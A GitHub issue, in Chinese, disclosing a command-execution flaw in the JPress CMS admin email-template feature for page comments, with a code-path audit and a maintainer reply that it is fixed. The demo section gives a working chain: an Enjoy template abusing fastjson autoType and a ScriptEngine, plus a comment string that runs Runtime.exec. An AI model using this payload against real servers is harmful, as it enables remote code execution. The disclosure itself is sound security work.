Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

jpress后台存在命令执行漏洞-邮件模板page #171

Closed
Er1cccc opened this issue Jan 9, 2022 · 1 comment
Closed

jpress后台存在命令执行漏洞-邮件模板page #171

Er1cccc opened this issue Jan 9, 2022 · 1 comment

Comments

@Er1cccc
Copy link

Er1cccc commented Jan 9, 2022

审计过程

与之前一篇不同,之前交过一个邮件模板注入的洞,之前那个触发点是在article的评论处,这次是在page的评论处,代码很相似,但不是同一份代码

jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用#(comment.id),那么猜测这里可能会存在模板渲染问题

image-20211222194033904

接着,尝试发一条评论看看后端代码的执行流程,后端对应的代码是io.jpress.module.page.controller.PageController#postComment,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员

image-20211222194132555

跟进io.jpress.module.page.PageNotifyKit#notify,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的

image-20211222194204084

发现byEmail方法会继续调用doSendEmail,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString进行渲染,这两个变量实际上就是最开始我们在前端页面输入的

image-20211222194234496

分析到这里,结合之前交过的那个article页面的邮件模板rce,应该可以直接打模板注入了

效果演示

首先通过弱密码进入后台

image-20220116142842680

然后开启这两项

image-20211222194424936

然后配置管理员邮箱,随便配一个,这个是收件者

image-20220116142900454

还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交

image-20220116142913636

然后设置恶意邮件模板,同样记得要提交

#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) 
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem)) 
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js)) 
#(e.eval(str))

image-20211222194459565

接下来,我们需要更换一个页面模板,因为默认的模板是不提供page的模板的,启用这个模板

image-20211222194552681

然后创建一个page,点击发布

image-20211222194620527

访问一下我们创建的page

image-20211222194643914

接下来,在page页面评论如下内容

javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc") 

发现计算器成功弹出,漏洞验证成功

image-20211222194714458

@JPressProjects
Copy link
Owner

在 jpress 最新版本中已解决。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants